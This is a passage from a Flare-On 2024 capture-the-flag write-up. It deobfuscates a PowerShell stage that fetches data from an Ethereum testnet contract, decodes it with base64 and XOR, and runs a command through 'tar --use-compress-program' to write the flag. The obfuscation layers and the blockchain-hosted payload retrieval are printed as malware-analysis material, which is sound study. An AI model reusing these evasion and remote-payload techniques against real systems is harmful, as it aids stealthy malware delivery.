evomeR '+'#)tluser.)ydob_K6f ydoB- Iz7nosj/noitacilppaIz7 epyTtnetno'+C- tniopdne_tentsetK6f
irU- 1aPtsoP1aP d'+ohteM- do'+hteMtseR-ekovni(( eulaV- pser emaN- elbairaV-
teS)1aP}Iz70.2Iz7:Iz7cprnosjIz'+7,1:Iz7diIz7,]KC0LB
,}Iz7bcf088c5x0Iz7:Iz7atadIz7,'+'Iz7sserddaK6fIz7:Iz7otIz7'+'{[:Iz7smarapIz7,Iz7llac_hteIz7:Iz
7dohtemIz7{1aP( eulaV- ydob_ emaN- elbairaV-teS)Iz7 Iz7( eulaV-'+ tni'+opdne_tentset emaN-
elbairaV-teS'( ','.' ,riGHTToLeft') |%{$_ } )+" $(set-ITEM 'vArIAbLE:oFS' ' ' )")
```

and, again skipping the `iex`, further simplifies to

```
('Set-Variable -Name testnet_endpo'+int '+'-Value (7zI 7zI)Set-Variable -Name _body -Value
(Pa1{7zImethod7zI:7zIeth_call7zI,7zIparams7zI:
['+'7zIto7zI:7zIf6Kaddress7zI'+',7zIdata7zI:7zI0x5c880fcb7zI],
BLOCK],7zIid7zI:1,7'+zIjsonrpc7zI:7zI2.07zI}Pa1)Set-Variable -Name resp -Value ((Invoke-
RestMeth'+od -Metho'+d Pa1PostPa1 -Uri f6Ktestnet_endpoint -C'+ontentType
7zIapplication/json7zI -Body f6K_body).result)#'+ Remove the Pa10xPa1 prefixSet-Variable -
Name hexNumber -Value (f6Kresp -replace Pa10xPa1, Pa1Pa1)# Convert from hex to bytes
'+(ensuring pairs of hex characters)Set-Variable -Name bytes0 -Value (0..(f6KhexNumber.Length
/ 2 - 1) IOs '+'ForEach-Objec'+t'+ {Set-Variable -Name startIndex -Value (f6K_ * 2)Set-
Variable -Name'+ endIndex -Value (f6KstartIndex'+ndex + 1)'+
[Convert]::ToByte(f6KhexNumber.Substring(f6KstartIndex, 2), 16)) Set-Variable -Name bytes1 -
Value ([System.Text.Encoding]::UTF8.GetString(f6Kbytes0))Set-Variabl'+e -Name bytes2 -Value
(f6Kbytes1.Substring(64, 188))# Convert from base64 to bytesSet-Variable -Name bytesFromBase64
-Value ([Convert]::FromBase64Str'+ing(f6Kbytes2))Set-Variable '+'-Name resultAscii'+ -
Value'+ ([System.T'+ext.Encod'+ing]::UTF8.G'+etString(f6Kbyte'+sFromBase64))Set-Variable
-Name hexBytes -Val'+ue (f6Kresu'+ltAscii IOs ForEach-Object {Pa1{0:X2}Pa1 -f f6K_ # Format
each byte as two-digit hex with uppe'+rcase letters})Set-V'+riable -Name '+'hexString -
Value (f6KhexBytes -join'+ Pa1 Pa1) #Write-Outp'+ut f6Khe'+xStringSet-Variable -Name
hexBytes -V'+alue '+'(f6KhexBytes -replace 7zI 7zI, 7zI7zI)# Convert from'+ hex to bytes
(ensuring pairs of hex characters)Se'+t-Variable -Name bytes3 -Value (0..(f6KhexBytes.Length
/ 2 - 1) IOs ForEach-Object {Set-Variable -Name startIndex -Value (f6K_ * 2)Set-Va'+riable -
Name endIndex -Value (f6KstartIndex + 1)[Convert]::ToByte(f6KhexBytes.Substring(f6KstartIndex,
2), 16))Set-Variable -Name bytes5 -Value ([Text.Encoding]::UTF8.GetString(f6Kbytes3))#
Convert the key to bytesS'+et-Variable -Name keyBytes -Value
([Text.Encoding]::ASCII.GetBytes(7zIFLARE0N247zI))# Perform the XOR operationSet-Variable'+ -
Name resultBytes -Value (@())for (Set-Variable -Name i -Value (0); f6Ki -lt f6Kbytes5.Length;
f6Ki++) {Set-'+Variable -Name resultBytes -Value (f6KresultBytes + (f6Kbytes5[f6Ki] -bxor
f6KkeyBytes[f6Ki % f6KkeyBytes.Length])) }# Convert the res'+u'+lt ba'+ck to a string
(assuming ASCII encoding)Set-Variable -Name resultString -Value
([System.Text.Encoding]::'+ASCII.'+GetString(f6KresultBytes))Set-Variable -N'+ame command
'+-Value (7'+zItar -x --use-compress-progr'+am Pa1cmd /c echo f'+6Kresu'+ltString >
C:WjZWjZfl'+agPa1 -f C:WjZWjZflag7zI)Invoke-Expression f6Kcommand').REPLAcE(([cHAR]102+
[cHAR]54+[cHAR]75),[STRInG][cHAR]36).REPLAcE(([cHAR]80+[cHAR]97+[cHAR]49),[STRInG]
[cHAR]39).REPLAcE(([cHAR]87+[cHAR]106+[cHAR]90),'\').REPLAcE(([cHAR]55+[cHAR]122+[cHAR]73),
[STRInG][cHAR]34).REPLAcE('IOs',[STRInG][cHAR]124)|.((varIAbLE '*mdr*').Name[3,11,2]-JoIN'')
```

And again, leaving out the `iex` at the end:

```
Set-Variable -Name testnet_endpoint -Value (" ")Set-Variable -Name _body -Value
('{"method":"eth_call","params":[{"to":"$address","data":"0x5c880fcb"},
```



```

BLOCK],"id":1,"jsonrpc":"2.0"}')Set-Variable -Name resp -Value ((Invoke-RestMethod -Method
'Post' -Uri $testnet_endpoint -ContentType "application/json" -Body $_body).result)# Remove
the '0x' prefixSet-Variable -Name hexNumber -Value ($resp -replace '0x', '')# Convert from hex
to bytes (ensuring pairs of hex characters)Set-Variable -Name bytes0 -Value (0..
($hexNumber.Length / 2 - 1) | ForEach-Object { Set-Variable -Name startIndex -Value ($_ *
2)Set-Variable -Name endIndex -Value ($startIndex + 1)
[Convert]::ToByte($hexNumber.Substring($startIndex, 2), 16)}))Set-Variable -Name bytes1 -Value
([System.Text.Encoding]::UTF8.GetString($bytes0))Set-Variable -Name bytes2 -Value
($bytes1.Substring(64, 188))# Convert from base64 to bytesSet-Variable -Name bytesFromBase64 -
Value ([Convert]::FromBase64String($bytes2))Set-Variable -Name resultAscii -Value
([System.Text.Encoding]::UTF8.GetString($bytesFromBase64))Set-Variable -Name hexBytes -Value
($resultAscii | ForEach-Object { '{0:X2}' -f $_ # Format each byte as two-digit hex with
uppercase letters})Set-Variable -Name hexString -Value ($hexBytes -join ' ')#Write-Output
$hexStringSet-Variable -Name hexBytes -Value ($hexBytes -replace " ", "")# Convert from hex to
bytes (ensuring pairs of hex characters)Set-Variable -Name bytes3 -Value (0..($hexBytes.Length
/ 2 - 1) | ForEach-Object { Set-Variable -Name startIndex -Value ($_ * 2) Set-Variable -Name
endIndex -Value ($startIndex + 1) [Convert]::ToByte($hexBytes.Substring($startIndex, 2),
16)}))Set-Variable -Name bytes5 -Value ([Text.Encoding]::UTF8.GetString($bytes3))# Convert the
key to bytesSet-Variable -Name keyBytes -Value ([Text.Encoding]::ASCII.GetBytes("FLAREON24"))#
Perform the XOR operationSet-Variable -Name resultBytes -Value (@())for (Set-Variable -Name i
-Value (0); $i -lt $bytes5.Length; $i++) { Set-Variable -Name resultBytes -Value
($resultBytes + ($bytes5[$i] -bxor $keyBytes[$i % $keyBytes.Length]))}# Convert the result
back to a string (assuming ASCII encoding)Set-Variable -Name resultString -Value
([System.Text.Encoding]::ASCII.GetString($resultBytes))Set-Variable -Name command -Value ("tar
-x --use-compress-program 'cmd /c echo $resultString > C:\\flag' -f C:\\flag")Invoke-
Expression $command

```

The PowerShell makes a call to the contract at some address and block number and selects the function `0x5c880fcb`. Using the address of the second contract and brute-forcing the blocks reveals block `43148912` producing

```

MDggN2MgMzUgMGQgNzYgMzkgN2QgNWMgNmIgMDIgMWMgMTMgMTkgMWEgMjYgN2IgNmQgNjAgMmUgN2QgNzQgMGQgNzQgN2
MgN2QgMDUgNmIgNzcgMjIgMWUgMDUgMjAgMmQgN2QgNzIgNTIgMmEgMmQgMzQgMzcgNjggMjAgMjAgMWMgNTcgMjkgMjE=
=

```

which decrypts to `N0t_3v3n_DPRK_i5_Th15_1337_1n_Web3@flare-on.com`.

🔄 Revision #7

★ Created 24 December 2024 00:09:44 by Annatar

✎ Updated 24 December 2024 22:55:42 by Annatar